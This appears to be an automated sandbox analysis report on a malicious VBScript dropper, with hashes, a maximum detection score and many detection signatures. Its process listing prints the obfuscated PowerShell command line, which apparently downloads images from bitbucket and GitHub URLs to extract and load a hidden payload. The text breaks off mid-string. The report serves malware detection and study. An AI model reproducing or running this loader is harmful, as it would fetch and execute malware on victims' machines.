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Windows
Analysis Report
8FebOORbmE.vbs
Overview
General Information
Sample name: | 8FebOORbmE.vbs (renamed file extension from none to vbs, renamed because original name is a hash value) |
Original sample name: | 12827c2f7f185495fd7d3b7f2e9fbad900f01c58b1f3ee8bb4a48b1365be6107 |
Analysis ID: | 1546045 |
MD5: | 2931601d3db794e0121a5f168bffc228 |
SHA1: | 7e901602c81371b0bd760b9e451abb6c749f939f |
SHA256: | 12827c2f7f185495fd7d3b7f2e9fbad900f01c58b1f3ee8bb4a48b1365be6107 |
Infos: | |
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Sigma detected: Powershell download and load assembly
Sigma detected: Powershell download payload from hardcoded c2 list
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell download and execute
AI detected suspicious sample
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 7396 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\8FebO ORbmE.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 7480 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$codigo = 'WwBO#GU# d##u#FM#ZQ By#HY#aQBj #GU#U#Bv#G k#bgB0#E0# YQBu#GE#Zw Bl#HI#XQ#6 #Do#UwBl#G M#dQBy#Gk# d#B5#F##cg Bv#HQ#bwBj #G8#b##g#D 0#I#Bb#E4# ZQB0#C4#Uw Bl#GM#dQBy #Gk#d#B5#F ##cgBv#HQ# bwBj#G8#b# BU#Hk#c#Bl #F0#Og#6#F Q#b#Bz#DE# Mg#N##o#I# #g#C##I##g #C##I##g#C ##I##g#C## ZgB1#G4#Yw B0#Gk#bwBu #C##R#Bv#H c#bgBs#G8# YQBk#EQ#YQ B0#GE#RgBy #G8#bQBM#G k#bgBr#HM# I#B7#C##c# Bh#HI#YQBt #C##K#Bb#H M#d#By#Gk# bgBn#Fs#XQ Bd#CQ#b#Bp #G4#awBz#C k#I##N##o# I##g#C##I# #g#C##I##g #C##I##g#C ##J#B3#GU# YgBD#Gw#aQ Bl#G4#d##g #D0#I#BO#G U#dw#t#E8# YgBq#GU#Yw B0#C##UwB5 #HM#d#Bl#G 0#LgBO#GU# d##u#Fc#ZQ Bi#EM#b#Bp #GU#bgB0#D s#I##N##o# I##g#C##I# #g#C##I##g #C##I##g#C ##J#Bz#Gg# dQBm#GY#b# Bl#GQ#T#Bp #G4#awBz#C ##PQ#g#Ec# ZQB0#C0#Ug Bh#G4#Z#Bv #G0#I##t#E k#bgBw#HU# d#BP#GI#ag Bl#GM#d##g #CQ#b#Bp#G 4#awBz#C## LQBD#G8#dQ Bu#HQ#I##k #Gw#aQBu#G s#cw#u#Ew# ZQBu#Gc#d# Bo#Ds#I##N ##o#I##g#C ##I##g#C## I##g#C##I# #g#C##ZgBv #HI#ZQBh#G M#a##g#Cg# J#Bs#Gk#bg Br#C##aQBu #C##J#Bz#G g#dQBm#GY# b#Bl#GQ#T# Bp#G4#awBz #Ck#I#B7#C ##d#By#Hk# I#B7#C##cg Bl#HQ#dQBy #G4#I##k#H c#ZQBi#EM# b#Bp#GU#bg B0#C4#R#Bv #Hc#bgBs#G 8#YQBk#EQ# YQB0#GE#K# #k#Gw#aQBu #Gs#KQ#g#H 0#I#Bj#GE# d#Bj#Gg#I# B7#C##YwBv #G4#d#Bp#G 4#dQBl#C## fQ#g#H0#Ow #g##0#Cg#g #C##I##g#C ##I##g#C## I##g#C##I# By#GU#d#B1 #HI#bg#g#C Q#bgB1#Gw# b##g#H0#Ow #g##0#Cg#g #C##I##g#C ##I##g#C## I##g#C##I# #k#Gw#aQBu #Gs#cw#g#D 0#I#B##Cg# JwBo#HQ#d# Bw#HM#Og#v #C8#YgBp#H Q#YgB1#GM# awBl#HQ#Lg Bv#HI#Zw#v #GE#Z#Bz#H M#ZwBm#GQ# cwBn#C8#d# Bl#HM#d#Bp #G4#Zw#v#G Q#bwB3#G4# b#Bv#GE#Z# Bz#C8#aQBt #Gc#XwB0#G U#cwB0#C4# agBw#Gc#Pw #x#DQ#N##0 #DE#Nw#n#C w#I##n#Gg# d#B0#H##cw #6#C8#LwBy #GE#dw#u#G c#aQB0#Gg# dQBi#HU#cw Bl#HI#YwBv #G4#d#Bl#G 4#d##u#GM# bwBt#C8#cw Bh#G4#d#Bv #G0#YQBs#G 8#LwBh#HU# Z#Bp#HQ#Lw Bt#GE#aQBu #C8#aQBt#G c#XwB0#GU# cwB0#C4#ag Bw#Gc#Pw#x #DQ#N##0#D E#Nw#y#DM# Jw#p#Ds#DQ #K#C##I##g #C##I##g#C ##I##g#C## I##g#C##J# Bp#G0#YQBn #GU#QgB5#H Q#ZQBz#C## PQ#g#EQ#bw B3#G4#b#Bv #GE#Z#BE#G E#d#Bh#EY# cgBv#G0#T# Bp#G4#awBz #C##J#Bs#G k#bgBr#HM# Ow#N##o#I# #g#C##I##g #C##I##g#C ##I##g#C## I#Bp#GY#I# #o#CQ#aQBt #GE#ZwBl#E I#eQB0#GU# cw#g#C0#bg Bl#C##J#Bu #HU#b#Bs#C k#I#B7#C## J#Bp#G0#YQ Bn#GU#V#Bl #Hg#d##g#D 0#I#Bb#FM# eQBz#HQ#ZQ Bt#C4#V#Bl #Hg#d##u#E U#bgBj#G8# Z#Bp#G4#Zw Bd#Do#OgBV #FQ#Rg#4#C 4#RwBl#HQ# UwB0#HI#aQ Bu#Gc#K##k #Gk#bQBh#G c#ZQBC#Hk# d#Bl#HM#KQ #7##0#Cg#g #C##I##g#C ##I##g#C## I##g#C##I# #g#CQ#cwB0 #GE#cgB0#E Y#b#Bh#Gc# I##9#C##Jw #8#Dw#QgBB #FM#RQ#2#D Q#XwBT#FQ# QQBS#FQ#Pg #+#Cc#Ow#g #CQ#ZQBu#G Q#RgBs#GE# Zw#g#D0#I# #n#Dw#P#BC #EE#UwBF#D Y#N#Bf#EU# TgBE#D4#Pg #n#Ds#I##k #HM#d#Bh#H I#d#BJ#G4# Z#Bl#Hg#I# #9#C##J#Bp #G0#YQBn#G U#V#Bl#Hg# d##u#Ek#bg Bk#GU#e#BP #GY#K##k#H